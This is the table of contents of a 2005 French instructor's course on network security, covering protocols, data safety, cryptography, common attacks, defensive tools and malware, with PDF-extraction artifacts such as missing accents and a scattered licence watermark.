You are on page 1of 186

Formation Scurit des Rseaux

Version 1.0.1

Support Instructeur
Eric BERTHOMIER 17 mars 2005

Table des matires


Table des matires Remerciements 1 Historique 2 Prrequis du cours

L FD en ce ic ou sl
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1

1 10 11 12

I Introduction
3 Introduction

13
14

II Rappel sur les rseaux


4 Introduction

15
16 17 17 17 18 18 18 20 20 20 21 21 22 22 22 24 24 24 24 24 26 26

5 TCP IP [5] 5.1 Len-tte TCP/IP . . . . . . . . . . . . . . . . . . . . . . . 5.1.1 Len-tte IP . . . . . . . . . . . . . . . . . . . . . . 5.1.2 Le protocole TCP . . . . . . . . . . . . . . . . . . . 5.1.3 Proprits du protocole TCP . . . . . . . . . . . . . 5.2 Numros de squence [15] . . . . . . . . . . . . . . . . . . 5.3 Connexion de base entre deux htes TCP . . . . . . . . . . 5.3.1 Les Drapeaux . . . . . . . . . . . . . . . . . . . . . 5.4 Les diffrents tats dun port TCP lors dune connexion [15] 5.5 Scurit : Association de drapeaux . . . . . . . . . . . . . . 5.5.1 Paquet fragment . . . . . . . . . . . . . . . . . . . 5.6 Protocole UDP . . . . . . . . . . . . . . . . . . . . . . . . 5.7 Protocole ICMP . . . . . . . . . . . . . . . . . . . . . . . . 5.8 Travaux Pratiques . . . . . . . . . . . . . . . . . . . . . . . 6 HTTP [10] 6.1 Le Protocole HTTP . . . . . . . . . . . . . . 6.2 Principe de fonctionnement . . . . . . . . . . 6.3 Requte au serveur . . . . . . . . . . . . . . 6.4 Rponse du serveur . . . . . . . . . . . . . . 6.4.1 Statut (status in english) de la requte 6.5 HTTPS . . . . . . . . . . . . . . . . . . . .

oc um en ts

TABLE DES MATIRES


6.5.1 Principe . . . . . 6.5.2 Fonctionnement . Travaux Pratiques . . . . 6.6.1 Protocole HTTP 6.6.2 HTTPS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

2 26 27 27 27 27 29 29 30 30 31

6.6

7 Mail 7.1 SMTP : Envoi de mails . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7.2 POP3 : Lecture des mails . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7.3 Travaux pratiques . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

III Scurit des donnes


9 Onduleur[6] 9.1 En bref . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9.2 Dans le dtail . . . . . . . . . . . . . . . . . . . . . . . . . . 9.3 Technologies "Off-line", "Line-interactive" et "On-line" . . . . 9.4 Dtermination de la puissance de londuleur . . . . . . . . . . 9.5 FAQ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9.5.1 A quoi correspondent et servent les para-surtenseurs ? 9.5.2 Un onduleur est-il utile pour un portable ? . . . . . . . 9.5.3 VA et Watts ? . . . . . . . . . . . . . . . . . . . . . . 10 Prsentation de la technologie RAID[17] 10.1 Niveau 0 . . . . . . . . . . . . . . . . 10.2 Niveau 1 . . . . . . . . . . . . . . . . 10.3 Niveau 2 . . . . . . . . . . . . . . . . 10.4 Niveau 3 . . . . . . . . . . . . . . . . 10.5 Niveau 4 . . . . . . . . . . . . . . . . 10.6 Niveau 5 . . . . . . . . . . . . . . . . 10.7 Niveau 6 . . . . . . . . . . . . . . . . 10.8 Comparaison . . . . . . . . . . . . . 10.9 Mise en place dune solution RAID . 11 Sauvegarde des donnes[3] 11.1 A quoi servent les sauvegardes ? 11.2 Choix du matriel . . . . . . . . 11.3 Choix du logiciel . . . . . . . . 11.4 Stratgie de sauvegarde . . . . . 11.4.1 Exemple de stratgie . . 11.5 Recommandations gnrales . . . . . . . . . . . . . . . . . .

FD
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

L ou sl ic en ce
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

8 Conclusion

32
33 33 33 34 34 35 35 35 35 36 36 37 37 38 38 38 39 39 39 40 40 40 40 41 41 41

IV Cryptage et application
12 Introduction

oc um en ts

42
43

TABLE DES MATIRES


13 Bases de cryptographie 13.1 A FAIRE : Description dun algorithme de compression . 13.2 Vrication dintgrit (Fonction de hachage) . . . . . . 13.2.1 Travaux Pratiques : Contrle dintgrit . . . . . 13.3 Chiffrement de systme de chiers (sous Linux) . . . . . 13.3.1 Fonctionement . . . . . . . . . . . . . . . . . . 13.3.2 Algorithmes . . . . . . . . . . . . . . . . . . . 13.3.3 Exemples . . . . . . . . . . . . . . . . . . . . . 14 Tripwire 14.1 A propos . . . . . . . . . . . . . . . . . . . . . 14.1.1 Mots cls . . . . . . . . . . . . . . . . 14.2 Introduction . . . . . . . . . . . . . . . . . . . 14.3 Mise en fonction de Tripwire . . . . . . . . . . 14.4 Restauration de la conguration . . . . . . . . 14.4.1 Rgnation du chier de conguration 14.4.2 Rgnation du chier de polices . . . 14.5 Cration de la base de donnes lies au systme 14.6 Test de la base de donnes . . . . . . . . . . . 14.7 Travaux Pratiques . . . . . . . . . . . . . . . . 15 SSH[14] 15.1 Introduction . . . . . . . . . . . . . . . . . . . 15.2 Pourquoi utiliser SSH ? . . . . . . . . . . . . . 15.3 Squence des vnements dune connexion SSH 15.4 Couches de scurit SSH . . . . . . . . . . . . 15.4.1 Couche transport . . . . . . . . . . . . 15.4.2 Authentication . . . . . . . . . . . . 15.4.3 Connexion . . . . . . . . . . . . . . . 15.5 Protocole de connexion . . . . . . . . . . . . . 15.5.1 Initialisation de la connexion . . . . . . 15.5.2 change didentication . . . . . . . . 15.6 Lchange de clefs . . . . . . . . . . . . . . . 15.7 Conclusion . . . . . . . . . . . . . . . . . . . 15.8 Travaux Pratiques . . . . . . . . . . . . . . . . 15.8.1 Putty . . . . . . . . . . . . . . . . . . 15.8.2 Telnet . . . . . . . . . . . . . . . . . . 15.8.3 SSH . . . . . . . . . . . . . . . . . . . 15.8.4 Exercices . . . . . . . . . . . . . . . . 15.9 Scp . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

3 44 44 44 44 44 44 45 45 47 47 47 47 47 48 48 48 48 49 49 50 50 51 51 52 53 53 54 54 54 54 55 55 55 55 56 56 57 57 58 58 58 58 58 58 59 60 60 60

. . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

ic
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

en ce
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

FD
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

16 Gnu Privacy Guard 16.1 Principes gnraux . . . . . . . . . . . . . . . . . 16.1.1 Signature digitale . . . . . . . . . . . . . . 16.1.2 Chiffrement . . . . . . . . . . . . . . . . . 16.2 Utilisation des cls publiques et prives : GPG . . . 16.2.1 Installation . . . . . . . . . . . . . . . . . 16.2.2 Utilisation en solitaire . . . . . . . . . . . 16.2.3 Explication des diffrentes options . . . . . 16.2.4 Utilisation en binme . . . . . . . . . . . . 16.2.5 Rponse des Travaux Pratiques en Binme

oc um en ts

ou sl

L
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . .

TABLE DES MATIRES


16.2.6 Complment dinformation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17 Les Rseaux Privs Virtuels (RPV ou VPN)[13] 17.1 Introduction . . . . . . . . . . . . . . . . . . 17.1.1 Quest-ce quun VPN ? . . . . . . . . 17.1.2 Pourquoi utiliser un VPN ? . . . . . . 17.2 Fonctionnement des VPN . . . . . . . . . . . 17.2.1 Linterconnexion . . . . . . . . . . . 17.2.2 Les concepts de base . . . . . . . . . 17.2.3 La tunnelisation . . . . . . . . . . . . 17.2.4 Les 3 principaux composants dIPsec 17.2.5 AH (Authentication Header) . . . . . 17.2.6 ESP (Encapsulating Security Header) 17.2.7 IKE (Internet Key Exchange) . . . . 17.2.8 Le chiffrement . . . . . . . . . . . . 17.2.9 Lauthentication . . . . . . . . . . . 17.3 Conclusion . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

4 60 62 62 62 62 62 62 65 65 65 65 65 66 66 67 68 69 69 69 70 70 71 71 71 72 72 73

19 Conclusion

V Attaques

oc um en ts

18 Protection dun service Web[4] 18.1 Introduction . . . . . . . . . . . . . . . . . . . 18.2 Comment congurer Apache pour lhtaccess ? . 18.3 La procdure de cration du chier .htaccess . . 18.4 La procdure de cration du chier .htpasswd . 18.5 Travaux Pratiques . . . . . . . . . . . . . . . . 18.5.1 Pr-requis . . . . . . . . . . . . . . . . 18.5.2 Capture du Mot de Passe . . . . . . . . 18.5.3 Protection par https . . . . . . . . . . . 18.6 Notes sur linstallation de Apache et Apache-ssl

en ce
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

FD
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

ou sl

ic

L
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . .

74
75 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 76 76 76 76 77 77 77 78 78 79 80 80 80 80 80 81

20 Introduction

21 IP Spoong [1] 21.1 Gnralits . . . . . . . . . . . . . . . . . . . . . . . . . . . 21.1.1 Prsentation . . . . . . . . . . . . . . . . . . . . . . . 21.2 Pr-requis . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21.3 Lattaque . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21.3.1 En bref . . . . . . . . . . . . . . . . . . . . . . . . . 21.3.2 En dtails . . . . . . . . . . . . . . . . . . . . . . . . 21.3.3 Conguration de conance . . . . . . . . . . . . . . . 21.3.4 Invalidation de la machine de conance . . . . . . . . 21.3.5 Echantillonnage des numros de squence et prdiction 21.4 Mesures prventives . . . . . . . . . . . . . . . . . . . . . . . 21.4.1 Ne pas faire conance . . . . . . . . . . . . . . . . . 21.4.2 Filtrer les paquets . . . . . . . . . . . . . . . . . . . . 21.4.3 Dsactiver le source routing . . . . . . . . . . . . . . 21.4.4 Utiliser le chiffrement . . . . . . . . . . . . . . . . . 21.4.5 Utiliser un numro de squence initial alatoire . . . .

TABLE DES MATIRES


21.5 Travaux Pratiques : utilisation dun logiciel de masquage dIP : HPing . . . . . . . . . . . . 22 Le Port Scanning [15] 22.1 Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22.2 Diffrentes techniques de port scanning . . . . . . . . . . . . . . 22.2.1 Vanilla TCP connect() . . . . . . . . . . . . . . . . . . . 22.2.2 TCP SYN Scan . . . . . . . . . . . . . . . . . . . . . . . 22.2.3 TCP FIN Scanning . . . . . . . . . . . . . . . . . . . . . 22.2.4 Fragmentation Scanning . . . . . . . . . . . . . . . . . . 22.2.5 TCP StealthScan . . . . . . . . . . . . . . . . . . . . . . 22.2.6 TCP Reverse Ident Scanning . . . . . . . . . . . . . . . . 22.2.7 Dumb Host Scan [18] . . . . . . . . . . . . . . . . . . . . 22.2.8 UDP Port Scanning . . . . . . . . . . . . . . . . . . . . . 22.3 Travaux Pratiques . . . . . . . . . . . . . . . . . . . . . . . . . . 22.3.1 Utilisation de nmap . . . . . . . . . . . . . . . . . . . . 22.3.2 Travaux Pratiques : Utilisation dun scanner de Port nmap 22.3.3 Interface graphique pour nmap . . . . . . . . . . . . . . . 22.3.4 Tester les ports ouverts sur lInternet . . . . . . . . . . . . 23 Quelques attaques ranges 23.1 DoS . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23.2 DDoS . . . . . . . . . . . . . . . . . . . . . . . . . . . 23.3 Description de quelques attaques communes . . . . . . . 23.3.1 FTP Bounce Attack (Attaque FTP par Rebond) . 23.3.2 Ping Flooding Attack . . . . . . . . . . . . . . . 23.3.3 Smurf Attack . . . . . . . . . . . . . . . . . . . 23.3.4 SYN Flooding Attack . . . . . . . . . . . . . . 23.3.5 IP Fragmentation/Overlapping Fragment Attack . 23.3.6 IP Sequence Prediction Attack . . . . . . . . . . 23.3.7 DNS Cache Poisoning . . . . . . . . . . . . . . 23.3.8 SNMP Attack . . . . . . . . . . . . . . . . . . . 23.3.9 UDP Flood Attack . . . . . . . . . . . . . . . . 23.3.10 Send Mail Attack . . . . . . . . . . . . . . . . . 23.4 Game for Hacking . . . . . . . . . . . . . . . . . . . . . 24 Les buffer overows [16] 24.1 Introduction . . . . . . . . . . . . . . . . . 24.1.1 Les programmes setuid . . . . . . . 24.2 La pile en mmoire . . . . . . . . . . . . . 24.2.1 Exemple de dpassement de la pile 24.3 Les buffers overows en dtail . . . . . . . 24.3.1 Exemple : . . . . . . . . . . . . . . 24.3.2 Exemple de vulnrabilit . . . . . . 24.4 Variante : les "format string exploits" . . . . 24.5 Notre Attaque . . . . . . . . . . . . . . . . 24.6 Mesures de prcautions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

5 81 82 82 82 82 83 83 83 84 84 84 85 85 85 86 86 86 88 88 88 89 89 89 89 89 90 90 90 90 90 91 91

en ce
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

FD
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

oc um en ts

ou sl

ic

L
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . .

. . . . . . . . . .

. . . . . . . . . .

. . . . . . . . . .

92 . 92 . 92 . 92 . 93 . 94 . 94 . 94 . 99 . 100 . 101

TABLE DES MATIRES


25 Attaque par force brute 25.1 Introduction . . . . . . . . . . 25.2 Identier les partages . . . . . 25.3 Visualisation des partages . . . 25.4 Accder au partage . . . . . . 25.4.1 Exemples . . . . . . . 25.5 Librer le partage . . . . . . . 25.6 Mot de passe : la force brute . 25.6.1 Analyse du programme 25.7 Travaux Pratiques . . . . . . . 26 Conclusion

6 102 102 102 103 104 104 104 104 105 105 106

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

VI Dfense
27 Introduction 28 Proxy[12]

FD en ce
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

L ou sl ic

107
108 109 110 110 110 111 111 112 112 112 113 113 114 115 115 115 116 116 116 118 119 119 119 119 119 120 120 120 120 121 121 121 121

30 IDS [12] 30.1 Introduction . . . . . . . . . . . . . . . . . . . . . . . . 30.2 Bibliothques de signatures contre dtection danomalies 30.3 IDS Bibliothques de signatures . . . . . . . . . . . . 30.4 IDS Modles comportementaux . . . . . . . . . . . . 30.5 Rseau contre Systme . . . . . . . . . . . . . . . . . . 30.6 IDS Rseau . . . . . . . . . . . . . . . . . . . . . . . . 30.7 IDS Systme . . . . . . . . . . . . . . . . . . . . . . . 30.8 La ralit du march . . . . . . . . . . . . . . . . . . . 30.9 Le futur . . . . . . . . . . . . . . . . . . . . . . . . . . 30.10Critres de choix . . . . . . . . . . . . . . . . . . . . . 30.11Exemples de signatures [5] . . . . . . . . . . . . . . . . 30.11.1 Signature de lattaque LAND . . . . . . . . . .

29 Les FireWall [11] 29.1 Comprendre les pare-feux . . . . . . . . . . . . . . . . . . . . 29.1.1 Politiques de scurit . . . . . . . . . . . . . . . . . . 29.2 Types de pare-feux . . . . . . . . . . . . . . . . . . . . . . . 29.2.1 Pare-feux ltrants . . . . . . . . . . . . . . . . . . . . 29.2.2 Serveurs mandataires . . . . . . . . . . . . . . . . . . 29.2.3 Mandataire SOCKS . . . . . . . . . . . . . . . . . . 29.3 Architecture de pare-feu . . . . . . . . . . . . . . . . . . . . 29.4 Les limites des rewalls . . . . . . . . . . . . . . . . . . . . . 29.5 Principe du pare-feux sous Linux . . . . . . . . . . . . . . . . 29.5.1 Les rgles du ltrage avec Ipchains . . . . . . . . . . 29.5.2 Exemple de leffet dun DENY . . . . . . . . . . . . 29.5.3 Exemple de leffet dun REJECT . . . . . . . . . . . 29.5.4 Quelques lment de la syntaxe dIpChains . . . . . . 29.6 Exemple de conguration de Firewall . . . . . . . . . . . . . 29.7 Travaux Pratiques . . . . . . . . . . . . . . . . . . . . . . . . 29.7.1 Linux : utilisation dIPTables . . . . . . . . . . . . . . 29.7.2 Windows : installation et conguration de ZoneAlarm

oc um en ts

TABLE DES MATIRES


30.11.2 Signature de lattaque SMURF . . . . . . . . . 30.11.3 Signature dune attaque DNS : transfert de zone 30.11.4 Signature paquet suspect . . . . . . . . . . . . 30.11.5 Signature paquet fragment . . . . . . . . . . 30.11.6 Signature ICMP . . . . . . . . . . . . . . . . 30.12Conclusion . . . . . . . . . . . . . . . . . . . . . . . 30.13Travaux Pratiques . . . . . . . . . . . . . . . . . . . . 30.13.1 Snort . . . . . . . . . . . . . . . . . . . . . . 30.13.2 Note sur les logs de snort . . . . . . . . . . . 31 Les Pots Miel (Honey Pots) [7] 31.1 But . . . . . . . . . . . . . . 31.2 HoneyPots . . . . . . . . . . 31.2.1 Dnition . . . . . . 31.2.2 Danger . . . . . . . 31.3 Honey Net . . . . . . . . . . 31.3.1 Dnition . . . . . . 31.4 Fonctionnement . . . . . . . 31.4.1 Danger . . . . . . . 31.5 Virtual Honeynets . . . . . . 31.6 Conclusion . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

7 121 122 122 122 122 122 122 122 122 124 124 125 125 125 125 125 126 126 126 126 127 127 127 127 127 128 128 129 130 130 130 130 130 131 131 131 132 132 133 133 133 133 134

33 Mots de passe 33.1 Les mots de passe . . . . . . . . . . . . . . . . . . . . . . . . . . . . 33.2 Quelques rgles dans la cration des mots de passe . . . . . . . . . . 33.2.1 Les mots de passe viter . . . . . . . . . . . . . . . . . . . 33.2.2 Rgles de constitution de mot de passe "solide" . . . . . . . . 33.3 Exemple dune mthode de cration de mot de passe . . . . . . . . . 33.4 Cryptage des mots de passe . . . . . . . . . . . . . . . . . . . . . . . 33.5 Travaux Pratiques : test des mots de passe . . . . . . . . . . . . . . . 33.5.1 John The Ripper sur Windows . . . . . . . . . . . . . . . . . 33.5.2 John The Ripper sur Linux . . . . . . . . . . . . . . . . . . . 33.6 Gestion des mots de passe . . . . . . . . . . . . . . . . . . . . . . . 33.6.1 Paramtrage par dfaut . . . . . . . . . . . . . . . . . . . . . 33.6.2 PAM : Pluggable Authentication Modules : les mots de passe 33.6.3 Quelques mots sur Cracklib . . . . . . . . . . . . . . . . . . 34 Conclusion

m en

32 Chrooting : Technique demprisonnement [8] 32.1 Quest ce que le chrooting ? . . . . . . . . 32.2 Exemple . . . . . . . . . . . . . . . . . . 32.3 But . . . . . . . . . . . . . . . . . . . . . 32.4 Conclusion . . . . . . . . . . . . . . . . 32.5 Travaux Pratiques . . . . . . . . . . . . . 32.5.1 Crer un chroot minimal . . . . . 32.5.2 chroot en mode Rescue . . . . . .

. . . . . . .

. . . . . . .

lic
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

en
. . . . . . . . . . . . . . . . . . . . .

ce
. . . . . . . . . . . . . . . . . . . . . . . . . . . .

FD
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

L
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . .

VII Le plus grand danger : soit !


35 Introduction

oc u

ts

ou s

136
137

TABLE DES MATIRES


36 Les Virus 36.1 Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 36.2 Dnition . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 36.3 tude de cas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 36.4 Descriptif du Virus : VBS.SST@mm alias Virus AnnaKournikova 36.4.1 Description Technique . . . . . . . . . . . . . . . . . . . 36.4.2 Exemple de code de Virus : AnnaKournikova . . . . . . . 36.5 Conclusion : Se protger . . . . . . . . . . . . . . . . . . . . . . 36.6 Travaux Pratiques . . . . . . . . . . . . . . . . . . . . . . . . . . 36.6.1 Analyse de code . . . . . . . . . . . . . . . . . . . . . . 36.6.2 Installation dun antivirus . . . . . . . . . . . . . . . . . 37 Les Trojans ou Chevaux de Troie 37.1 Introduction . . . . . . . . . 37.2 Rappel Historique . . . . . . 37.3 Dnition . . . . . . . . . . 37.4 Exemple . . . . . . . . . . . 37.5 Conclusion : Se protger . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

8 138 138 138 138 140 140 140 142 142 142 142 143 143 143 143 144 144 150 150 150 151 151 152 152 153 153 154 154 154 155 155 155 156 159 159 159 160 161 161 162 162 162 163 163 163

. . . . . . . . . . . . . . .

. . . . . . . . . . . . . . .

. . . . . . . . . . . . . . .

. . . . . . . . . . . . . . .

. . . . . . . . . . . . . . .

. . . . . . . . . . . . . . .

. . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . .

